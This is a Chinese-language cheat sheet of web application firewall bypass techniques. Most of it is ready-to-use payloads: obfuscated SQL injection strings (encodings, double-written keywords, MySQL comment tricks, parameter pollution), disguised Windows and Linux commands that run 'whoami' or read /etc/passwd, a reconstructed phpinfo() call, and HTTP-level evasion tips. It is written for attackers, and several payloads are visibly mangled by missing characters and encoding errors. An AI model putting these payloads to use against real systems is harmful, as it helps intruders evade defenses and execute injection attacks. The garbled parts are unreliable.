WAF 拦截原理
WAF 绕过的思路就是让 WAF 的检测规则,识别不到你所输入的敏感字符,利用上述所介绍的知识点,灵活结合各种方法,从而可以增加绕过 WAF 的可能性.
1. 关键词大小写绕过
有的WAF因为规则设计的问题,只匹配纯大写或纯小写的字符,对字符大小写混写直接无视,这时,我们可以利用这一点来进行绕过
举例: union select ---> unIOn SeLEcT
2. 编码绕过
针对 WAF 过滤的字符编码,如使用 URL 编码,Unicode 编码,十六进制编码,Hex 编码等.
- url 编码
select * from zzz = select * from %257a%257a%257a
- Unicode 编码
单引号 = %u0027、%u02b9、%u02bc
- 部分十六进制编码
adminuser = 0x61646D696E75736572
- 各类编码
空格 = %20 %09 %0a %0b %0c %0d %a0
举例: union select 1,2,3# =union%0aselect 1\u002c2,3%23
3. 双写绕过
部分 WAF 只对字符串识别一次,删除敏感字段并拼接剩余语句,这时,我们可以通过双写来进行绕过。
举例:UNIunionON ,SELselectECT anandd
4. 换行 ( \N ) 绕过
举例:select * from admin where username = \N union select 1,user() from admin
5. 注释符内联注释绕过
union selecte = /!union/ select
注释符里感叹号后面的内容会被 mysql 执行。
6. HTTP 参数污染
对目标发送多个参数,如果目标没有多参数进行多次过滤,那么WAF对多个参数只会识别其中的一个。
举例:?id=1&id=2&id=3
?id=1/**&id=-1%20union%20select%201,2,3%23*/
order by绕过:%20///--// V4.0
联合绕过:union /!--+/%0aselect/!1,2,3/ --+
from绕过: /!06447%23%0afrom/
7. 通过其他语义相同的关键字替换
-
And = &&
-
Or = ||
-
等于 = like 或综合<与>判断
-
if(a,b,c) = case when(A) then B else C end
-
substr(str,1,1) = substr (str) from 1 for 1
-
limit 1,1 = limit 1 offset 1
-
Union select 1,2 = union select * from ((select 1)A join (select 2)B;
-
hex()、bin() = ascii()
-
sleep() = benchmark()
-
concat_ws() = group_concat()
-
mid()、substr() = substring()
-
@@user = user()
-
@@datadir = datadir()
-
空格不能使用=%09,%0a,%0b,%0c,%0d,%20,%a0等
注:%0a是换行也可以替代空格
8. 配合Windows特性
8.1 利用符号分割字符执行 whoami
whoami = ((((Whoam""i))))
8.2 利用变量分割关键字执行whoami
whoami = set a=net&&b=user&&call %a%%b%
- 为了方便演示这里设置一个变量
set a=123whoami456
- 取出变量a的第3位开始共计6个字符
echo %a:~3,6%
执行取出的值,通过截取系统变量然后拼接可以绕过大部分检测%a:~3,6%
9. 配合Linux特性
9.1 单引号或双引号连接符,需要闭合
whoami = w'h'o'a'm"i"
9.2 ?,*通配符
Cat /etc/passwd = cat /?t*/??ss**
9.3 [] 通配符,匹配【】中的字符
whoami = /b[12312i]n/w[23sh]oa[2msh]i
9.4 linux下也可以变量拼接
Whoami = a=who&&b=ami&&$a$b
9.5 目录穿越, /被拦截
cat /../../etc/passwd =cd ..&&cd ..&&cd etc&&cat passwd
10. 配合 Mysql 特性
10.1 /**/
数据库注释符
中间部分被注释,可用于截断关键字,干扰 waf 匹配。
- 注释符
/**/
也可以用于替换空格
User() = user/**/
()
Union select = /*95554*/Union/*test123*/select
10.2 /*!*/
内敛注释
中间部分继续执行,mysql 特有。
/*!*/
内部继续执行
User() = /*!user/*123*/()*/
- 组合
Union select = /*!union*//*123*//*!select*/
10.3 %0a换行与#单行注释符配合使用。
用#注释,再用%0a逃出注释继续执行后面语句
Union select = union#A%0aselect
]
11. 配合过滤代码或漏洞本身
11.1 关键字被过滤,双写关键字
- 将关键字过滤掉后剩下的内容组成新的关键字
and = anandd
11.2 通过c hr() 函数变换关键字
- 将 acsii 码通过 chr() 函数转换回来
phpinfo() = chr (80).chr (72).chr (80).chr (73).chr (78).chr (70).chr (79).chr (40).chr (41)
11.3 通过 base_convert() 函数变换关键字
phpinfo = base_convert(27440799224,10,32) //从 10 进制转换成 32 进制
12. http 协议绕过
12.1 Content-Type 绕过
application/x-www-form-urlencoded è multipart/form-data
12.2 HTTP 请求方式绕过
get 改为 post
12.3 keep-alive(Pipeline)绕过
将恶意代码隐藏在第 n个 请求中,绕过 waf
12.4 分块传输绕过
将关键字 and, or, select , union 等关键字拆开编码
12.5 修改编码方式:Charset 绕过
大部分的 WAF 默认用 UTF8 编码检测
13. 网络结构绕过
直接对源地址发起攻击,流量不会经过 waf,从而成功绕过